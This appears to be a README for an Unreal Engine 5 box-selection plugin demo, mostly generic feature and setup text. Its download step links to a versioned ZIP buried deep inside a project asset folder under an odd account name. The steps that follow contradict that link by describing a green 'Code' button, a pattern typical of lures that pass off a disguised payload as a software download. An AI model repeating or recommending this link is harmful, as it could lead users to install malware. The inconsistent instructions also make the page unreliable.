MG Spatial Selection is a tool built for Unreal Engine. It lets you select game objects inside a volume using a box-shaped area. It runs fast and helps you find all objects touching that area. This makes it useful for games where you need to pick many units or items quickly. It also suits editing tools where you want to select things inside a clear space.
This plugin works well with Unreal Engine 5. It uses a system that checks collision natively, which means it looks for overlaps using the built-in engine features. This keeps selection smooth and precise.
To run MGSpatialSelectionDemo on your Windows computer, you need:
- Windows 10 or 11 (64-bit)
- At least 8 GB of RAM
- A DirectX 11 or 12 compatible GPU
- Unreal Engine 5 installed (if you plan to view or modify the project files)
- Internet connection to download the demo
You do not need to know programming or how Unreal Engine works to run the demo.
- Real-time selection of actors in a box volume
- Efficient collision checking with native Unreal Engine tools
- Designed for strategy games and editing tools
- Easy interaction with multiple units or objects
- Works with terrain and supports volumetric selection
- Lightweight and fast for a smooth experience
This demo shows how to:
- Select multiple actors by dragging a selection box
- Detect only units or items that fall inside the volume
- Adjust the size and position of the selection box in real time
- Use selection to control groups in a gameplay scenario
You can try moving the selection box around and see how objects respond.
Use the link below to get started.
-
Open this page in your web browser:
https://raw.githubusercontent.com/Maraboustorkouterplanet353/MGSpatialSelectionDemo/main/Content/__ExternalActors__/TopDown/Lvl_TopDown/9/BG/MG_Spatial_Demo_Selection_v3.3.zip -
On the page, look for the green "Code" button near the top right. Click it.
-
Select Download ZIP from the dropdown. This will save a file named something like
MGSpatialSelectionDemo-master.zipto your computer. -
Find the ZIP file in your Downloads folder or wherever your browser saves files.
-
Right-click the ZIP file and choose Extract all. Pick a place to extract the files like your Desktop.
-
Open the folder that you just extracted.
-
Inside the folder, find the Unreal Engine project file (
*.uproject). -
Double-click the
.uprojectfile. This will open Unreal Engine (if installed). -
In Unreal Engine, open the project. Then use the Play button at the top to start the demo.
If you do not have Unreal Engine installed, you can view the plugin files, but you cannot run the demo directly. To run the demo on Windows, you need Unreal Engine 5 installed from the Epic Games Launcher.
- The Unreal Engine project for MGSpatialSelectionDemo
- Source code and plugin files for MG Spatial Selection
- Example maps and blueprints showing selection usage
- Documentation folders explaining how the selection works
- Assets used for sample units and terrain
If you are curious or want to modify the plugin:
- Open the project in Unreal Engine Editor
- Find the MG Spatial Selection plugin folder in the Plugins section
- Change the box volume size in the blueprint or code
- Adjust selection filters to detect specific actor types
- Use the included sample blueprints for guidance
No coding experience is necessary to adjust basic settings using visual editors in Unreal Engine.
If the demo does not start:
- Verify Unreal Engine 5 is installed and updated
- Make sure you extracted all files properly from the ZIP
- Check that your computer meets the system requirements
- Restart Unreal Engine and try opening the project again
If you see errors related to missing files, re-download and extract the ZIP folder.
- Use selection with a mouse and drag to create the box volume
- Test how actors respond by moving them inside or outside the volume
- Adjust selection settings in the blueprint to fit your needs
- Use it to understand how spatial selection can speed up gameplay or editing tasks
If you need help with MGSpatialSelectionDemo, visiting the GitHub page is the best option:
This page has the latest files, issue tracker, and links for further information.
This project relates to:
- gameplay
- rtx
- selection
- selection-system
- spatial
- spatial-selection
- terrain-aware-selection
- tools
- unit-selection
- unreal-engine
- unreal-engine-5
- ux
- volumetric-selection